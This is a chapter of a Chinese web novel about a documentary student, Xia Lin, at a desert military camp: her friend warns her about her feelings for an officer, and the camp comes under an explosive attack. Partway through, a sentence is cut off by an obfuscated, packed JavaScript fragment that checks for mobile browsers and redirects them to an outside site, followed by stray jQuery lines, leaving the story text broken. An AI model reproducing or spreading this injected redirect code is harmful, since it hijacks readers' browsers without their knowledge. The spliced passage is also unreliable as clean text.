两个人真的像朋友一样,你一句我一句的聊起来,夏林告诉他,自己回去要准备毕业,可能还得准备电视台的面试入职。
“那你呢?”
“我依旧老样子啊。”裴洵林的声音轻松。
是啊,你我都是看样子,离开这里之后不会再有什么交集…如果没有这次的跟拍更不会有交集,只不过是回到了最开始的样子,夏林心里想着。
“夏林,回去之后我们还会见面的吧。”
夏林看到裴洵林眼神中有一抹划不来的柔情?为什么?他不是不喜欢自己,为什么会有这种表情,夏林有些看不懂,在此之前从未有过喜欢的人的夏林,对于男性的探索不足10%…
夏林一愣住片刻,缓缓开口,“会的吧…”
会的吧。有缘会的吧。
许沐言是在巡逻结束后的第二天傍晚找到夏林的。她正蹲在设备箱旁边整理内存卡,一张一张地标号、分类、装进防水袋里,动作机械而重复,像是要把脑子里所有乱七八糟的东西都通过手指尖挤出去。
“林林。”许沐言站在她身后,声音不大。
夏林转过头,逆着光看见他的轮廓,表情看不太清,但他的站姿和平时不太一样。
平时他是松弛的、温和的、像一杯放在桌边不烫不凉的白开水,现在他的肩膀比平时收得紧了一些,像是有什么话压在那里,需要用身体的肌肉去分担那份重量。
“沐言哥。”夏林拍了拍手上的沙土,站起来。
许沐言在妹妹那最终确认了夏林是喜欢裴洵林的,其实许沐晴其实不和他说他也会猜到,只不过现在是有了确认的认知。
许沐言没有任何拐弯抹角,直言不讳的和夏林说,“林林,裴洵林的世界…充满着未知和不确定,和他在一起会比较累,作为哥哥,我希望你可以考虑清楚。”
夏林的手指在裤缝上蹭了一下。沙粒从指腹上簌簌地落下来,在阳光下闪着细碎的光。
沙漠中的风在不断吹起夏林的头发,像是抚摸无数次的头,也似在不断的告诉她,别急,慢下来。
夏林其实想张开嘴问问许沐言是怎么知道的,也想问问你怎么知道他的世界充满不确定性,但是…发现自己根本也无力反驳。
喜欢裴洵林的事情自己没做任何掩饰,只要有心都可以看出来…而且裴洵林的职业就不会让他自己永远处在安稳的环境中,所以,她明白许沐言。
他做过了权衡,做过了取舍,把所有的可能和不可能都在心里翻来覆去地想过很多遍,最后得出的结论是——他宁可她恨他,也不想她受伤。
那份对裴洵林的感觉——好奇、心动、想靠近、想了解——面对“危险、不确定和随时可能发生的意外”这些词的时候,够不够重?够不够沉?够不够在真正面对它们的时候不后退、不后悔、不哭着说“我当初怎么没听劝”?
她不知道。
她是真的不知道。于是她说了一句“我知道了”,声音很轻,像风吹过沙丘顶部时带走的那一层最细的沙。
许沐言站在原地看了她一会儿,嘴唇动了一下,像是想说什么更深的话,但最后还是收回了。
他点了点头,转身走了。
他们两个人,甚至说他们和许沐晴三个人认识这么多年也来,完全了解对方的性格,都知道今天的话,双方当事人都未必能听得进去。
许沐晴之前的那通电话,一直在惋惜许沐言的隐藏实在太好,这么多年都没让夏林感受到过喜欢,如果…许沐言早早表白,会不会…就在一起了?
“不会的,林林不喜欢我,这是你我都确认的事情,爱情求不来的。”
日子在沙漠的日出日落中一天一天地过去了。
这七天里没有什么特别的事情发生,没有盗猎者的踪迹,没有老鬼的消息,沙暴没有再回来,训练按部就班地进行。
裴洵林带队出去负重五公里的时候夏林在整理素材,裴洵林带着小组夜巡的时候夏林已经睡了。
他们像两条在同一片沙滩上被潮水反复冲刷的线,有时候靠得很近,近到几乎要交缠在一起,但下一次潮水涌上来的时候又被冲开了,保持着一种恒定的、不远不近的距离。
第七天的早上,夏林醒来洗漱好去他们几个的临时休息室,也就是他们的工作间,周念已经坐在这里调试设备,嘴里还吃着从食堂带出来的半块酱香饼。
含混不清地说了一句“夏林姐,咱们是不是快回去了”。
同样在确认录音设备的赵禾顿了顿动作,脸上的表情从早晨的迷糊变成了一种说不清是轻松还是失落的复杂神色。
“五月份深城太热了!去年这时候我已经在寝室里开空调了。”赵禾站起来说着。
“这也热,这个时候就没有凉快的地方。北方凉快,暑假可以去旅游。”另一个研一的同学也在搭话。
夏林在一旁想着自己有一次在大四上岸的时候,跟着导师提前进组,七八月份的时候北方也挺热的,但是夏林看着像当初自己的她们,微笑着没说什么,旅游嘛,最重要的是自己体验的过程。
“北方相对于深城还可以。”夏林缓缓开口,“我们拍摄大概还有两天结束,最后再留一天收尾工作,然后就可以先回去了。”
“那我们可得好好珍惜这最后几天的时间了,人生有几次在这大沙漠里体验吧。”周念看着夏林说着。
夏林笑着点点头,转身坐到了微型监视器旁边,打开电脑,检查这一阵子拍摄的素材,对照脚本有没有遗漏的。
另一旁的周念两个人你一言我一语地聊着,从深城的夏天聊到暑假的旅游计划,从旅游计划聊到去年学院组织的社会实践。
夏林的手指在触控板上滑动,光标掠过那些文件夹,看着各个名字没有点开任何一个。
周念和赵禾的对话从她左耳朵进右耳朵出,像沙漠的风一样穿过她的脑袋,没有留下任何痕迹。
她在想回深城之后的安排——论文还有一个章节需要大改,毕设的粗剪版要在月底之前交,电视台的二面结果应该快出来了。
所有的事情都在那里等着她,排着队,安安静静的。
“夏林姐,你想什么呢?”
夏林回过神,把光标随意地点开了一个文件夹,屏幕上立刻充满了前几天拍的沙漠空镜——连绵的沙丘、孤零零的骆驼刺、被风吹出纹理的沙地。“没想什么,”她说,“整理素
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564663|204680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
材呢。”
夏林处理完素材,正准备关电脑,休息室的门被人从外面打开了。
她下意识地抬起了头,但她的目光还没有来得及移到门口,就被一个声音钉住了。
不是“轰”的一声爆炸,是那个“轰”到来之前的那一瞬——空气被什么巨大的力量从中间撕开,所有的声音在那零点几秒里被抽空了,世界变成了一部被按了静音键的电影。
然后声音回来了,以一种排山倒海的方式撞进她的耳膜,震得她整个人从椅子上弹了起来。
不是枪声,这是夏林第一时间确认的,这么长时间的训练,夏林对于枪声早已经烂熟于心,是清脆的,尖锐的。
这个是闷的、重的、从地底下涌上来的、像有什么东西在地壳下面翻了个身。
整个地面都跟着抖了一下,桌上的水杯晃了晃,里面的水洒出来一小圈,在桌面上漫开。
裴洵林是第一个反应过来的人。他的身体在看到夏林的那一秒还是松弛的,听到爆炸声的那一刻——
不,听到爆炸声之前的那零点几秒,他的肌肉就已经开始收缩了,像是身体比大脑更早地接收到了危险的信号。
下意识的看向夏林的位置是否安全,屈身走到夏林的身边,给她一个安心的眼神。
他的手已经按在了腰间——那里别着一把枪,夏林之前从来没有注意过,他在驻地训练的时候也居然带了枪。
“不要动。”他的声音压得很低,不是对她一个人说的,是对休息室里的所有人说的。
并且把夏林推到自己后方,确保夏林是在一个安全的范围内,同时看向周念他们。
夏林看见他的表情变了。裴洵林露出了一种她从来没有见过的表情。
不是害怕,是警觉,是那种你一直在等待某个不知道会不会来的东西、而它终于来了的时候,心里反而落定的那种冷静。
“不是训练。”他的声音很轻,但每个字都很清楚,“今天的训练科目没有爆破。”
夏林的心沉了下去。她看着裴洵林屈着身体走到帐篷门口,那几步路他走得很慢,每一步都经过精密的计算——脚尖先落地,然后是脚掌,然后是脚跟,整个过程几乎没有发出任何声音。
回过头做了一个手势,不是给夏林的,是给所有需要找掩体的人的。
“蹲下,靠墙,不要靠近窗户和门。”他的声音没有压低到听不清的程度,但也没有高到能传出去让外面的人听见。
夏林蹲下来了。她蹲下的那一刻,手没有去扶任何东西,而是伸向了桌上那台摄像机,把它从桌上拿下来,抱在怀里。
她自己也不知道这个动作是出于什么本能,可能是新闻专业训练出来的条件反射——记录是第一位的。
也可能是别的东西——如果真的要面对什么她从来没有面对过的东西,她希望自己手里有一件她熟悉的、会用的、能让她觉得自己还是那个“能扛事儿的夏林”的工具。
裴洵林拿出胸前作训服的对讲机,“白帆,沐言,你们那边怎么样?”
“老大,驻地被袭击了。”白帆略显惊恐的声音传来,对讲机的声音不大,到足以让休息室的所有人听得清。